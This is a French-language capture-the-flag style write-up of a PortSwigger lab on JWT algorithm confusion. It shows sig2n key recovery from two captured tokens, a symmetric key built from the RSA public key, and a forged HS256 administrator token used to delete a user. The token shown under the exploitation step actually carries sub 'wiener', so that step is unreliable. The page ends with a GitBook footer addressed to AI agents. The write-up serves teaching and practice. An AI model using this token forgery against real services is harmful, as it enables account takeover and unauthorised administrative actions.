> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md).

# Contournement de l’authentification JWT via confusion d’algorithme sans clé publique exposée

### Contournement de l'authentification JWT via confusion d'algorithme sans clé exposée

#### Contexte du laboratoire

Nous utilisons **JWT** pour gérer la session. Les jetons sont normalement signés en **RSA (RS256)** avec une paire de clés robuste :

* clé privée : signer le JWT
* clé publique : vérifier le JWT

La faiblesse provient d'une implémentation incorrecte : le serveur accepte un JWT déclaré en **HS256** et réutilise la **clé publique RSA** en tant que **secret HMAC**.

**Objectif :** obtenir un JWT valide avec `sub=administrator`, accéder `/admin`, puis supprimer **carlos**.

#### Récupération de deux JWT RS256

Nous nous connectons avec `wiener:peter` et obtenons un premier JWT RS256 :

**TOKEN 1**

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA
```

Nous nous déconnectons puis nous reconnectons pour obtenir un second JWT RS256 (même `kid`, signature différente) :

**TOKEN 2**

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA
```

### Reconstruction d'une clé publique RSA valide avec `sig2n`

Nous utilisons le `sig2n` (outil PortSwigger) dans Docker pour reconstruire une clé publique à partir de **TOKEN 1** et **TOKEN 2**:

```bash
docker run --rm -it docker.io/portswigger/sig2n /
  'TOKEN1' 'TOKEN2'
```

Avec nos deux jetons complets :

{% code overflow="wrap" %}

```bash
docker run --rm -it docker.io/portswigger/sig2n /
'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA'
```

{% endcode %}

<figure><img src="/files/050d15bd825f0fffe0a18368b27b614aea736f90" alt=""><figcaption></figcaption></figure>

L'outil renvoie les valeurs de clé suivantes :

* **Clé x509 encodée en Base64** (clé publique)
* **JWT altéré** (test JWT HS256)

Dans notre cas, la clé x509 renvoyée est :

{% code overflow="wrap" %}

```bash
Valeur n trouvée avec multiplicateur 1 :
    Clé x509 encodée en Base64 : LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    JWT altéré : eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
    Clé pkcs1 encodée en Base64 : LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    JWT altéré : eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M
```

{% endcode %}

#### Test : validation d'un JWT HS256 altéré

Nous testons le JWT HS256 fourni par `sig2n`:

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
```

Le serveur accepte

<figure><img src="/files/3fa10740f450aac8575315156bfb74022ae06981" alt=""><figcaption></figcaption></figure>

La clé publique reconstruite peut donc être utilisée comme secret HMAC.

```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```

#### Création d'une clé symétrique (oct) avec la clé publique

Nous créons une clé symétrique **oct** dont la `k` valeur est la clé publique en Base64 :

```json
{
    "kty": "oct",
    "kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```

<figure><img src="/files/55a58c8fde939cfdef63572f853808122bd7c934" alt=""><figcaption></figcaption></figure>

#### Falsification du JWT administrateur

Payload (on passe en `administrateur`)

```json
{
    "iss": "portswigger",
    "exp": 1767554474,
    "sub": "administrator"
}
```

En-tête (basculez en HS256 et conservez le `kid`)

```json
{
    "kid": "658001cf-6704-456b-983e-7ab4373ff03b",
    "alg": "HS256"
}
```

Nous signons ensuite ce JWT en **HS256** avec la clé symétrique créée (secret = clé publique).

<figure><img src="/files/60eb66135a1410d4000e7bf389c9a2532cd95577" alt=""><figcaption></figcaption></figure>

#### Exploitation

1. Nous remplaçons le cookie JWT par notre jeton HS256 falsifié.
2. Nous allons `/admin`.
3. Nous supprimons l'utilisateur **carlos**.

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
```

<figure><img src="/files/b156a6fc04f2842d25a9c23f7bac21703e07b523" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
